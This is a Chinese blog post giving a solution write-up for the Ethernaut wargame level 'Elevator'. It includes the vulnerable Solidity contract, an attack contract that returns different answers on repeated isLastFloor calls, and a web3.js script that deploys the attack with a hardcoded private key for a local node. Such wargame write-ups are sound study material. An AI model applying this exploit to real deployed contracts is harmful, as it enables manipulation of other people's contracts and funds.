首页 > 其他分享 >blockchain | ethernaut 11 Elevator

blockchain | ethernaut 11 Elevator

时间:2023-09-06 14:57:40浏览次数:47  
标签:11 const wallet floor blockchain contract web3 Elevator ethernaut

blockchain | ethernaut 11 Elevator

这关就是简单的合约交互,以及view/pure函数的编写。
合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

攻击合约:

pragma solidity ^0.8.0;
interface Elevator{
    function goTo(uint _floor) external;
}
contract Building {
    bool lock = false;
    function isLastFloor(uint num) public returns(bool){
        if (!lock){
            lock = true;
            return false;
        }
        return true;
    }
    function exp(address addr) public{
        Elevator e = Elevator(addr);
        e.goTo(100);
    }
}

交互脚本:

const Web3 = require('web3');
const fs = require('fs');
const deploy = require('./Deploy.js');   // 导入部署模块

const rpcURL = 'http://127.0.0.1:8545';
//const addr = '0xda8e0A6Becd46E3C1d25BEbcc0E8f6723Cf2F924';
const web3 = new Web3.Web3(rpcURL);    // 链接网络节点

const privateKey = '0x957c03cef7400defc7585d5dd81c48455557aa29c12c627ad0fd17d73effe696';
web3.eth.accounts.wallet.add(privateKey);
const wallet = web3.eth.accounts.wallet[0];
console.log(wallet)

let exp = async function(){
	console.log("Present balance: "+await web3.eth.getBalance(wallet.address));
	let aim_contract_addr = "0xf40F5ffd85b2C2aF5cAa50c4bc5d2C7793E1823e";
	// 部署攻击合约
	let hack_contract = await deploy("contracts/Building.json",web3,wallet);
	let ret = await hack_contract.methods.exp(aim_contract_addr).send({
		from: wallet.address,
		gas: 1000000,
		gasPrice: 10000000000,
	});
	console.log(ret)
	console.log(hack_contract.methods)
	console.log("lock: " + await web3.eth.getStorageAt(hack_contract._address, 0))
}

exp();

标签:11,const,wallet,floor,blockchain,contract,web3,Elevator,ethernaut
From: https://www.cnblogs.com/Mz1-rc/p/17682274.html

相关文章

  • DSP集成麦克风阵列声源定位模组AR-1105​
    麦克风阵列声源定位模组AR-1105是采用DSP音频处理器集成麦克风阵列声源定位技术进行研发,模组具有全硬件集成.体积小巧,外围电路简洁,无需软件调试,易上手等优点的情况下同时保持反应灵敏,定位准确等特性.模组分为:声音定位核心主板麦克风阵列板声源定位LED显示板声音定位核心主板......
  • win11安装ubuntu(by wsl2)
    欢迎访问我的GitHub这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos本机情况省吃俭用入手了ThinkPadT14,打算装好Linux后作为开发机器使用,本文记录了安装过程,以便将来在新系统上用到作为参考,机器软硬件情况如下接下来就是安装wsl2的过......
  • 11.ACL
    ACLacl:accesscontrollist访问控制列表acl两种:基本acl(2000-2999):只能匹配源ip地址。高级acl(3000-3999):可以匹配源ip、目标ip、源端口、目标端口等三层和四层的字段。acl举例:拒绝PC1访问172.16.10.x网段R2:aclnumber2000#建立基本acl(表号20......
  • 11 停止线程
    packageThreadDemo;//线程的几个状态:创建,就绪,执行,阻塞,死亡//测试停止线程/*1.线程正常停止2.设置标志位flag3.不要使用jdk自带的stop(),和destroy()方法,过时了*/publicclassTest11_StopimplementsRunnable{booleanflag=tru......
  • c++11新特性
    这篇文章基本上涵盖了c++11的所有新特性,并有详细代码介绍其用法,对关键知识点做了深入分析,对重要的知识点我单独写了相关文章并附上了相关链接,我还准备了完整版c++新特性脑图,有需要可以去我的gz号回复“新特性”下载,见文章最后。auto&decltype关于C++11新特性,最先提到的肯定......
  • 11linux系统syslog服务
    1.简介syslog是linux自带的系统日志服务进程,下面的例子以centos7为例。 2.syslog服务端开启udp514端口vi/etc/rsyslog.conf#去掉注释UDP下面的两行首行#,采用udp514接收数据#下面TCP注释是采用Tcp协议接收数据...#ProvidesUDPsyslogreception$ModLoad......
  • RabbitMQ安装 - 二进制安装(CentOS7 RabbitMQ 3.11.3)
    Linux系统-部署-运维系列导航 RabbitMQ介绍RabbitMQ是使用Erlang语言开发的基于AMQP标准的开源实现,用于在分布式系统中存储转发消息,在易用性、扩展性、高可用性等方面表现不错 RabbitMQ的特点1、保证可靠性(Reliability):使用持久化、传输确认、发布确认等机制2、灵活的路......
  • leetcode1161最大层内元素之和
    dfslassSolution{public:unordered_map<int,vector<int>>m;voiddfs(TreeNode*root,intdepth){if(!root)return;intres=0;depth++;dfs(root->left,depth);dfs(root->right,depth);......
  • ORA-01501: CREATE DATABASE 失败ORA-01100: 数据库已装载(已解决)
    相信可能有很多用oracle数据库做项目数据库的同学们都多多少少有遇到这个错误。上网搜索的时候,大部分的答案都是需要在建库时加前缀“C##”,或者是修改可插拔数据库PDB的状态等。这些答案可能解决了大多数人的问题,但像我们本身使用多种类型数据库的人来说,习惯就容易让我们与正确答......
  • Ads error: 4115
    Error 'TwinCATSystem'(10000):Sendingamscommand>>Init4\RTime:StartInterrupt:Tickerstarted>>Adserror:4115(0x1013,RTIME:systemclocksetupfails.Hint:OnWindows8systemexecutewin8settick.batinTwinCAT\3.1\Syst......